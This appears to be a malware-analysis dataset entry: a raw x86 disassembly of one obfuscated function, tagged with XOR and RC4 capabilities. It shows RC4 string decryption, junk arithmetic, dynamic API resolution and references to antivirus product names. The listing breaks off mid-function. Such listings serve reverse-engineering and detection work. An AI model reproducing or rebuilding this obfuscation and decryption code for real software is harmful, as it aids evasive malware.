Function at 0x10008821
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
mov dword [ebp - 0xf0], 0x1f
xorps xmm2, xmm2
mov dword [ebp - 0xec], 0x5a
mov dword [ebp - 0xe8], 0x1b
mov dword [ebp - 0xe4], 0xffffff2e
movups xmm1, xmmword [ebp - 0xf0]
push esi
push edi
movaps xmm0, xmm1
mov dword [ebp - 0xf8], ecx
psrldq xmm0, 8
lea edi, [ebp - 0x188]
paddd xmm1, xmm0
mov dword [ebp - 0xfc], edx
mov edx, dword [0x1002668c]
movups xmm0, xmm1
psrldq xmm0, 4
mov esi, str.N_OPERA_RECENTLY_TYPED_URLS
paddd xmm1, xmm0
mov dword [ebp - 0x5c], 0x544a33f0
push 7
movd eax, xmm1
add edx, 0x9285e70f
pop ecx
rep movsd dword es:[edi], dword [esi]
add eax, 0x3f
mov dword [ebp - 0x58], 0x679412a2
xor ecx, ecx
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x54], 0x580ea7e2
mov eax, ecx
mov byte [ebp - 0x50], 0x54
mov dword [ebp - 0x10], ecx
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x100088cb
mov eax, dword [0x100266d8]
mov edi, ecx
mov dword [ebp - 0x2c], eax
xor eax, 0x85de32dd
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x4c], eax
lea esi, [edx + 0x1f9953f0]
xor edx, edx
mov cl, byte [ebp + edi - 0x2ac]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0xe8]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x188]
add eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x4c]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x2ac]
mov byte [ebp + edi - 0x2ac], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x2ac], al
mov eax, dword [ebp - 0x18]
cmp edi, 0x100
jb 0x100088ec
xor eax, eax
and esi, 0x4ed5c54
mov dword [ebp - 0x1c], esi
mov edi, eax
mov dword [ebp - 0x14], eax
mov esi, eax
lea eax, [esi + 1]
or dword [ebp - 0x2c], 0xe6131479
movzx esi, al
mov eax, dword [ebp - 0x14]
push 0xd
mov cl, byte [ebp + esi - 0x2ac]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2ac], cl
movzx eax, byte [ebp + esi - 0x2ac]
add eax, edx
movzx eax, al
pop ecx
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + edi - 0x5c]
mov byte [ebp + edi - 0x2dc], al
inc edi
cmp edi, ecx
jb 0x10008958
mov dword [ebp - 0x3c], 0x11
movaps xmm1, xmm2
mov dword [ebp - 0x38], 0x18
xor edx, edx
mov dword [ebp - 0x34], 0x20
mov eax, edx
mov dword [ebp - 0x30], 0xffffffb7
movups xmm0, xmmword [ebp - 0x3c]
mov byte [ebp - 0x2cf], dl
mov dword [ebp - 0xd0], 0x4e
psubd xmm1, xmm0
mov dword [ebp - 0xcc], 0xa
movaps xmm0, xmm1
mov dword [ebp - 0xc8], 0x30
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0xc4], 0x4c
movups xmm0, xmm1
mov dword [ebp - 0xc0], 0xffffff38
psrldq xmm0, 4
paddd xmm1, xmm0
movd dword [ebp - 0xd4], xmm1
sub ecx, dword [ebp + eax*4 - 0xd0]
inc eax
cmp eax, 5
jl 0x10008a3c
push 9
pop eax
mov dword [ebp - 0xbc], ecx
lea edi, [ebp - 0x180]
push 5
pop ecx
mov esi, str.Unprocessed_type__d
mov dword [ebp - 0x48], eax
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x66], al
mov edi, edx
mov word [ebp - 0x68], 0x9e49
mov eax, edx
mov dword [ebp - 0x65], 0x39643c74
mov dword [ebp - 0x61], 0x60ab41fc
mov byte [ebp - 0x5d], 0xf6
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x10008a84
mov esi, edx
xor edx, edx
mov dword [ebp - 0x18], 0x13
mov eax, esi
mov cl, byte [ebp + esi - 0x2ac]
div dword [ebp - 0x18]
mov byte [ebp - 1], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x180]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + edi - 0x2ac], al
cmp esi, 0x100
jb 0x10008a95
mov esi, dword [ebp - 0x1c]
xor eax, eax
or esi, 0x25280048
mov dword [ebp - 0x14], eax
xor esi, 0xdedf5bab
mov edi, eax
or esi, 0x98975ba3
mov dword [ebp - 0x1c], esi
mov esi, eax
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x14]
push 0xc
mov cl, byte [ebp + esi - 0x2ac]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2ac], cl
movzx eax, byte [ebp + esi - 0x2ac]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + edi - 0x68]
mov byte [ebp + edi - 0x2bc], al
inc edi
pop eax
cmp edi, eax
jb 0x10008b01
xor ecx, ecx
mov byte [ebp - 0x2b0], cl
imul eax, dword [ebp - 0x1c], 0xfeead094
mov dword [ebp - 0xc], eax
mov edx, ecx
mov dword [ebp - 0x40], 0x59
mov dword [ebp - 0x3c], 0x38
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x34], 0x36
mov dword [ebp - 0x30], 0xffffff37
sub edx, dword [ebp + ecx*4 - 0x40]
inc ecx
cmp ecx, 5
jl 0x10008b92
push 0xb
pop ecx
mov dword [ebp - 0x8c], edx
mov edx, ecx
mov dword [ebp - 0xf4], ecx
push 0x48
pop ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov dword [ebp - 0x3c], 0x16
mov dword [ebp - 0x34], 0x63
mov dword [ebp - 0x30], 0xffffff01
sub edx, dword [ebp + ecx*4 - 0x40]
inc ecx
cmp ecx, 5
jl 0x10008bcd
mov cl, byte [0x100265c0]
mov dword [ebp - 0x90], edx
mov edx, 0x100265c0
mov dword [ebp - 0x74], 0x1ece6d43
mov dword [ebp - 0x70], 0x924bc9e6
mov dword [ebp - 0x6c], 0x1d066a4a
jmp 0x10008c0a
sub cl, 0x30
cmp cl, 9
ja 0x10008c10
inc edx
mov cl, byte [edx]
test cl, cl
jne 0x10008bff
jmp 0x10008c19
imul eax, eax, 0x3bb17cfc
mov dword [ebp - 0xc], eax
call fcn.10007b9a
mov esi, str.tV9kltQ9Gx
lea edi, [ebp - 0x68]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xc]
imul ecx, esi, 0x372ccea9
or ecx, 0x8eaa8fd9
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov eax, edx
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x10008c41
mov eax, ecx
mov edi, edx
or eax, 0x6e069968
add esi, 0x47f8fb00
mov dword [ebp - 0xc], esi
mov esi, edx
mov dword [ebp - 0x1c], eax
xor edx, edx
mov cl, byte [ebp + edi - 0x2ac]
mov eax, edi
mov byte [ebp - 1], cl
div dword [ebp - 0xcc]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x68]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x2ac]
mov byte [ebp + edi - 0x2ac], al
inc edi
mov al, byte [ebp - 1]
mov byte [ebp + esi - 0x2ac], al
cmp edi, 0x100
jb 0x10008c67
mov esi, dword [ebp - 0xc]
xor edx, edx
mov dword [ebp - 0x14], edx
mov ecx, 0x1001ee00
mov al, 0x43
sub al, 0x30
cmp al, 9
ja 0x10008cc9
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10008cba
jmp 0x10008cd2
mov esi, dword [ebp - 0x4c]
xor esi, 0x70693ab7
mov edi, dword [ebp - 0x1c]
xor edi, 0x7ae175f
add esi, 0x7e8de845
mov dword [ebp - 8], edi
mov edi, edx
mov dword [ebp - 0xc], esi
mov esi, edx
lea eax, [esi + 1]
movzx esi, al
mov eax, dword [ebp - 0x14]
push 0xc
mov cl, byte [ebp + esi - 0x2ac]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2ac], cl
movzx eax, byte [ebp + esi - 0x2ac]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + edi - 0x74]
mov byte [ebp + edi - 0x2cc], al
inc edi
pop eax
cmp edi, eax
jb 0x10008ceb
mov esi, dword [ebp - 0xc]
xor eax, eax
mov edi, dword [ebp - 8]
mov ecx, 0x1001ee00
push 9
mov byte [ebp - 0x2c0], al
mov al, 0x43
mov dword [ebp - 0x3c], 0x10
mov dword [ebp - 0x38], 0x4f
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x30], 0xffffff9a
pop edx
sub al, 0x30
cmp al, dl
ja 0x10008d88
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10008d79
jmp 0x10008d93
mov edi, esi
xor edi, 0x7c6a519
mov dword [ebp - 8], edi
mov esi, dword [ebp - 0x1c]
mov edx, 0x100265c0
push ecx
push ecx
or esi, 0xbe62de4d
call fcn.1000806a
pop ecx
pop ecx
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
push 0x2e
mov dword [ebp - 0x44], eax
mov ecx, eax
pop edx
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x10008dd4
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x10008db7
push 9
pop edx
jmp 0x10008ddd
mov esi, dword [ebp - 0x1c]
xor esi, 0x3d68a514
movups xmm0, xmmword [ebp - 0x3c]
mov dword [ebp - 0x28], 2
sub esi, 0xc374a26
movaps xmm1, xmm2
mov dword [ebp - 0x24], 0x4c
psubd xmm1, xmm0
mov dword [ebp - 0x20], 0xffffff60
movaps xmm0, xmm1
mov dword [ebp - 0x10], esi
psrldq xmm0, 8
xor eax, eax
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
push 0x53
movd dword [ebp - 0x1c], xmm1
pop ecx
add ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x10008e28
mov al, byte [0x100265c0]
mov dword [ebp - 0x6c], ecx
mov ecx, 0x100265c0
jmp 0x10008e4a
sub al, 0x30
cmp al, dl
ja 0x10008e50
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10008e41
jmp 0x10008e59
lea eax, [edi + 0x725450b9]
mov dword [ebp - 0x10], eax
call fcn.10007f2c
mov esi, str.ccSvcHst.exe
mov dword [ebp - 0x5c], 0x73e1b49f
lea edi, [ebp - 0x10c]
mov dword [ebp - 0x58], 0xb7f03860
xor ecx, ecx
mov dword [ebp - 0x54], 0xb6ebb8a5
mov word [ebp - 0x50], 0x9908
mov eax, ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x10008e8f
mov esi, dword [ebp - 0x10]
mov edx, ecx
mov dword [ebp - 0x2c], edx
mov cl, byte [ebp + edx - 0x2ac]
mov eax, edx
push 0xc
xor edx, edx
mov byte [ebp - 1], cl
pop edi
div edi
mov edi, dword [ebp - 8]
movzx ecx, cl
sub edi, 0x2f99dcf8
mov dword [ebp - 8], edi
movzx eax, byte [ebp + edx - 0x10c]
add eax, dword [ebp - 0xc]
add ecx, eax
xor edx, edx
movzx eax, cl
mov ecx, edx
mov dword [ebp - 0xc], eax
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x735
jl 0x10008ef7
cmp word [eax], dx
jne 0x10008ee4
jmp 0x10008efd
imul esi, esi, 0x7f46fff8
mov ecx, 0x100265c0
sub esi, 0x3d95b672
call fcn.100081d7
push 9
mov ecx, 0x1001ee00
mov al, 0x43
pop edx
sub al, 0x30
cmp al, dl
ja 0x10008f26
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10008f17
jmp 0x10008f2f
xor edi, 0xdc5dea3e
mov dword [ebp - 8], edi
mov edx, dword [ebp - 0xc]
mov cl, byte [ebp - 1]
imul edi, esi, 0x5eee8022
mov esi, dword [ebp - 8]
mov al, byte [ebp + edx - 0x2ac]
xor esi, 0x3bff7948
mov edx, dword [ebp - 0x2c]
mov byte [ebp + edx - 0x2ac], al
inc edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], edx
mov byte [ebp + eax - 0x2ac], cl
mov ecx, dword [ebp - 8]
cmp edx, 0x100
jb 0x10008ea6
push 0x2e
mov edx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
pop esi
lea eax, [esi - 0x30]
cmp ax, word [ebp - 0x48]
ja 0x10008f92
add edx, 2
movzx eax, word [edx]
mov esi, eax
test ax, ax
jne 0x10008f7a
jmp 0x10008f98
imul edi, ecx, 0x256dfa20
xor eax, eax
mov esi, eax
mov dword [ebp - 0x10], eax
mov edx, eax
lea eax, [edx + 1]
movzx edx, al
mov dword [ebp - 0x48], edx
mov cl, byte [ebp + edx - 0x2ac]
movzx eax, cl
mov dword [ebp - 0x4c], eax
add eax, esi
movzx esi, al
mov dword [ebp - 0x2c], esi
mov al, byte [ebp + esi - 0x2ac]
mov byte [ebp + edx - 0x2ac], al
mov byte [ebp + esi - 0x2ac], cl
mov esi, edi
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
push edi
or esi, 0x7dd8d5c9
call fcn.10007b43
pop ecx
xor edx, edx
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
mov eax, edx
inc eax
lea ecx, [ecx + 2]
cmp eax, 0xece
jg 0x10009003
cmp word [ecx], dx
jne 0x10008ff1
jmp 0x1000901e
lea ecx, [edi + 0x738ec25e]
imul ecx, ecx, 0xcfd9294b
cmp eax, 0x152f
jle 0x1000901e
mov esi, ecx
or esi, 0xd70e7b9d
mov ecx, esi
call fcn.10007fae
mov edx, dword [ebp - 0x48]
mov edi, esi
mov ecx, dword [ebp - 0x10]
and edi, 0xbbd2119e
mov esi, dword [ebp - 0x2c]
movzx eax, byte [ebp + edx - 0x2ac]
add eax, dword [ebp - 0x4c]
movzx eax, al
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + ecx - 0x5c]
mov byte [ebp + ecx - 0xf0], al
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 0xe
jb 0x10008fa1
xor eax, eax
mov dword [ebp - 0xd0], 0x10
mov byte [ebp - 0xe2], al
mov ecx, eax
mov dword [ebp - 0xcc], 0x2b
mov dword [ebp - 0xc8], 0x29
mov dword [ebp - 0xc4], 0x64
mov dword [ebp - 0xc0], 0xffffff38
sub ecx, dword [ebp + eax*4 - 0xd0]
inc eax
cmp eax, 5
jl 0x1000909f
push 0x2e
pop edx
mov dword [ebp - 0x3c], 0x49
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], 0x58
mov dword [ebp - 0x30], 0xffffff29
movups xmm1, xmmword [ebp - 0x3c]
push 0x63
mov dword [ebp - 0x84], ecx
paddd xmm1, xmm2
mov dword [ebp - 0x24], 0x51
movaps xmm0, xmm1
mov dword [ebp - 0x20], 0xffffffba
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
pop ecx
push 0x1b
add eax, 8
mov dword [ebp - 8], eax
pop eax
mov dword [ebp - 0x28], eax
xor eax, eax
add ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x10009110
mov dword [ebp - 0x3c], 0x4f
movaps xmm1, xmm2
mov dword [ebp - 0x38], 0x33
xor edi, 0x4ebccd05
mov dword [ebp - 0x34], 0x45
mov dword [ebp - 0x30], 0x209
movups xmm0, xmmword [ebp - 0x3c]
push 0x30
mov dword [ebp - 0x2c], ecx
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
psubd xmm1, xmm0
mov dword [ebp - 0x3c], 0x39
movaps xmm0, xmm1
mov dword [ebp - 0x30], 0xffffff7b
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 0x320
mov dword [ebp - 0x94], eax
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x100091a7
add ecx, 2
movzx eax, word [ecx]
mov edx, eax
test ax, ax
jne 0x1000918d
jmp 0x100091b3
add edi, 0x8d1d0b14
and edi, 0x1cef7baa
call fcn.10008339
movups xmm1, xmmword [ebp - 0x3c]
push 0x3a
pop ecx
paddd xmm1, xmm2
mov dword [ebp - 0x4c], ecx
movaps xmm0, xmm1
xor edi, 0x210658ef
psrldq xmm0, 8
mov edx, 0x65d
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
push 0x2e
pop esi
add eax, ecx
mov ecx, esi
mov dword [ebp - 0x98], eax
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x222f
ja 0x10009215
movzx ecx, word [eax]
test ecx, ecx
jne 0x100091ff
jmp 0x10009220
call fcn.10007f2c
or edi, 0x821e976a
push 0x4b
pop ecx
mov dword [ebp - 0x64], 0x1a
mov dword [ebp - 0x60], 0xffffffe2
lea edx, [edi + 0x5fd1c204]
mov dword [ebp - 0x48], edx
xor eax, eax
add ecx, dword [ebp + eax*4 - 0x64]
inc eax
cmp eax, 2
jl 0x1000923c
mov dword [ebp - 0xb0], ecx
xor eax, eax
mov ecx, 0x8f
mov dword [ebp - 0x28], 0x42
mov dword [ebp - 0x24], 0x10
mov dword [ebp - 0x20], 0x30
sub ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x10009268
mov dword [ebp - 0x3c], 0x34
movaps xmm1, xmm2
mov dword [ebp - 0x38], 0x44
mov dword [ebp - 0x34], 0x47
mov dword [ebp - 0x30], 0xffffffc3
movups xmm0, xmmword [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x4e
mov dword [ebp - 0x38], 0x3b
psubd xmm1, xmm0
mov dword [ebp - 0x34], 6
movaps xmm0, xmm1
mov dword [ebp - 0x30], 0xffffff89
psrldq xmm0, 8
paddd xmm1, xmm0
mov dword [ebp - 0x9c], ecx
movups xmm0, xmm1
mov dword [ebp - 0x28], 0x14
psrldq xmm0, 4
mov ecx, 0x8c
paddd xmm1, xmm0
mov dword [ebp - 0x24], 0x53
movd eax, xmm1
movups xmm1, xmmword [ebp - 0x3c]
push 0x1b
add eax, ecx
paddd xmm1, xmm2
mov dword [ebp - 0xa0], eax
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
add eax, 2
mov dword [ebp - 0xa4], eax
pop eax
mov dword [ebp - 0x20], eax
xor eax, eax
sub ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x10009327
push 0x3f
mov dword [ebp - 0xa8], ecx
xor eax, eax
pop ecx
mov dword [ebp - 0x28], 0x4f
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 0xffffff4c
add ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x1000934d
imul esi, edi, 0x2964e2b0
xor eax, eax
mov dword [ebp - 0xac], ecx
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
mov dword [ebp - 0x18], esi
inc eax
lea ecx, [ecx + 2]
cmp eax, 0xd35
jg 0x10009384
xor edx, edx
cmp word [ecx], dx
mov edx, dword [ebp - 0x48]
jne 0x1000936d
jmp 0x1000939f
mov edi, edx
xor edi, 0x8fb3d2cd
cmp eax, 0x2146
jle 0x1000939f
push edx
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
call fcn.10007b43
pop ecx
add edi, 0x6fb0a6c2
call fcn.10007f2c
mov dword [ebp - 0x3c], 0x56
mov dword [ebp - 0x38], 0x2a
mov dword [ebp - 0x34], 0x46
mov dword [ebp - 0x30], 0xfffffefb
movups xmm1, xmmword [ebp - 0x3c]
push 0x48
pop ecx
paddd xmm1, xmm2
mov dword [ebp - 0x24], 0x62
movaps xmm0, xmm1
mov dword [ebp - 0x20], 0xffffffc3
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
push 0x1b
add eax, 0x3f
xor edx, edx
mov dword [ebp - 0xb8], eax
pop eax
mov dword [ebp - 0x28], eax
mov eax, edx
sub ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x1000940e
mov dword [ebp - 0xb4], ecx
mov ecx, edx
mov edx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
mov eax, edx
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x1332
jl 0x1000943f
xor esi, esi
cmp word [eax], si
mov esi, dword [ebp - 0x18]
jne 0x10009427
jmp 0x1000944c
mov ecx, edx
call fcn.10007e6e
and esi, 0x2bfb2823
xor esi, 0x292f9751
lea eax, [esi + 0xb837047]
mov ecx, 0x100265c0
mov dword [ebp - 0xc], eax
mov al, byte [0x100265c0]
test al, al
je 0x100094c4
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x1000947b
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000946c
jmp 0x100094c4
push 0x2e
mov edx, 0x1765
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x10fc
ja 0x100094a7
movzx ecx, word [eax]
test ecx, ecx
jne 0x10009488
imul eax, esi, 0xa038de9e
mov dword [ebp - 0xc], eax
jmp 0x100094b8
add edi, 0xa9e4d4b
call fcn.10007f2c
add edi, 0xd2dc4101
push edi
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
call fcn.10007b43
pop ecx
mov edi, dword [ebp - 0xc]
push 9
pop eax
mov ecx, eax
mov dword [ebp - 0x28], 0x14
lea esi, [edi + 0x2d7647e1]
mov dword [ebp - 0x24], 0x16
mov dword [ebp - 0x20], 0xffffffde
xor eax, eax
sub ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x100094e9
movzx eax, byte [0x100265c0]
xor esi, 0x4061b20b
mov dword [ebp - 0x80], ecx
mov edx, 0x102
mov dword [ebp - 0x3c], 0x5a
mov ecx, 0x100265c0
mov dword [ebp - 0x38], 0x28
mov dword [ebp - 0x34], 0x48
mov dword [ebp - 0x30], 0xffffff3d
jmp 0x1000953d
add edx, eax
inc ecx
cmp edx, 0x1cb6
ja 0x100095dd
movzx eax, byte [ecx]
test eax, eax
jne 0x1000952b
lea esi, [edi - 0x35e40e4f]
mov edi, 0x1001ee00
imul eax, esi, 0x428ee62c
mov edx, edi
push ecx
push ecx
mov dword [ebp - 0x48], eax
call fcn.1000806a
movups xmm0, xmmword [ebp - 0x3c]
mov dword [ebp - 0x28], 0x691d3d4e
mov esi, str.._AVActiveProductFromFileLicenseSource_lif_framework_asw__
movaps xmm1, xmm2
mov byte [ebp - 0x24], 0xf2
psubd xmm1, xmm0
mov dword [ebp - 0x22], 0xe1e3b0c3
movaps xmm0, xmm1
mov word [ebp - 0x1e], 0x1fee
psrldq xmm0, 8
lea edi, [ebp - 0x318]
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
pop ecx
paddd xmm1, xmm0
pop ecx
movd eax, xmm1
push 0x1b
add eax, 8
xor edx, edx
mov dword [ebp - 0x60], eax
pop eax
push 0xe
pop ecx
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x23], al
mov ecx, edx
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
inc ecx
lea eax, [eax + 2]
cmp ecx, 0x21d9
je 0x100095f8
cmp word [eax], dx
jne 0x100095c7
mov edi, dword [ebp - 0x48]
jmp 0x10009606
mov ecx, dword [ebp - 0xc]
mov edi, 0x1001ee00
mov edx, edi
call fcn.1000818d
mov ecx, edi
call fcn.100081d7
jmp 0x1000954c
mov eax, dword [ebp - 0xc]
add eax, 0x1be2fbcc
imul edi, eax, 0xe82e8650
or edi, 0x8a8ed9f8
imul eax, edi, 0xc128e6b6
mov ecx, 0x1001ee00
mov dword [ebp - 0x48], eax
call fcn.100084f9
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov eax, ecx
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x10009626
mov esi, ecx
xor edx, edx
mov cl, byte [ebp + esi - 0x2ac]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0x4c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x318]
add eax, dword [ebp - 0x10]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x10], ecx
mov al, byte [ebp + ecx - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
mov eax, edi
or eax, 0xde10c6ca
xor edi, 0xa33c1bbb
mov dword [ebp - 0x18], eax
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x2ac], al
cmp esi, 0x100
jb 0x10009637
mov eax, dword [ebp - 0x48]
add eax, 0x588e1f9c
imul edi, eax, 0xe85a30a5
call fcn.1000796b
xor ecx, ecx
mov eax, ecx
cmp byte [0x100265c0], al
je 0x100096d0
inc eax
cmp eax, 0x1b5b
jg 0x100096c0
cmp byte [eax + 0x100265c0], cl
jne 0x100096ae
jmp 0x100096d0
call fcn.10007a7d
mov edi, dword [ebp - 0x18]
xor edi, 0x8fd1ed89
xor ecx, ecx
and edi, 0xcb16928
mov dword [ebp - 0x14], ecx
mov eax, edi
mov dword [0x100266d8], edi
and eax, 0xe61bdebd
mov dword [ebp - 0x10], ecx
mov esi, ecx
mov dword [0x100265d0], eax
cmp byte [0x100265c0], 0
mov eax, ecx
je 0x10009713
inc eax
cmp eax, 0x893
jl 0x1000970e
cmp byte [eax + 0x100265c0], 0
jne 0x100096fb
jmp 0x10009713
call fcn.10008429
lea eax, [esi + 1]
movzx edx, al
mov dword [ebp - 0x48], edx
mov cl, byte [ebp + edx - 0x2ac]
movzx eax, cl
mov dword [ebp - 0x18], eax
add eax, dword [ebp - 0x14]
movzx eax, al
mov dword [ebp - 0x14], eax
mov al, byte [ebp + eax - 0x2ac]
lea esi, [edi + 0x31c4d54f]
mov byte [ebp + edx - 0x2ac], al
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2ac], cl
mov ecx, 0x100265c0
mov al, byte [0x100265c0]
test al, al
je 0x10009778
push 9
pop edx
sub al, 0x30
cmp al, dl
ja 0x10009770
inc ecx
mov al, byte [ecx]
test al, al
jne 0x10009761
jmp 0x10009778
mov esi, edi
or esi, 0x9ea99a25
or esi, 0x470924e1
mov edx, 0x1001ee00
mov ecx, esi
mov dword [0x1002668c], esi
call fcn.1000818d
mov esi, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x10]
push 0xc
movzx eax, byte [ebp + esi - 0x2ac]
add eax, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + ecx - 0x28]
mov byte [ebp + ecx - 0x10c], al
inc ecx
pop eax
push 0
mov dword [ebp - 0x10], ecx
cmp ecx, eax
pop ecx
jb 0x100096f0
push dword [ebp + 8]
mov edi, dword [ebp - 0xf8]
lea edx, [ebp - 0x2dc]
push dword [ebp - 0xfc]
mov ecx, dword [ebp - 0xdc]
xor eax, eax
push edi
mov byte [ebp - 0x100], al
call fcn.1001ab39
call eax
mov esi, eax
cmp esi, dword [ebp - 0xd4]
je 0x1000a300
mov ecx, dword [ebp - 0xbc]
lea edx, [ebp - 0x2bc]
push esi
push edi
call fcn.1001ab39
call eax
mov dword [ebp - 0xbc], eax
cmp eax, dword [ebp - 0x8c]
je 0x1000a300
mov ecx, dword [ebp - 0x90]
lea edx, [ebp - 0x2cc]
push eax
call fcn.1001ab39
call eax
mov dword [ebp - 0xc], eax
cmp eax, dword [ebp - 0x1c]
jne 0x10009897
push 0x46
mov eax, 0x1e46
mov edx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
pop ecx
add eax, ecx
lea edx, [edx + 2]
cmp eax, 0xaf0
ja 0x10009866
movzx ecx, word [edx]
test ecx, ecx
jne 0x10009851
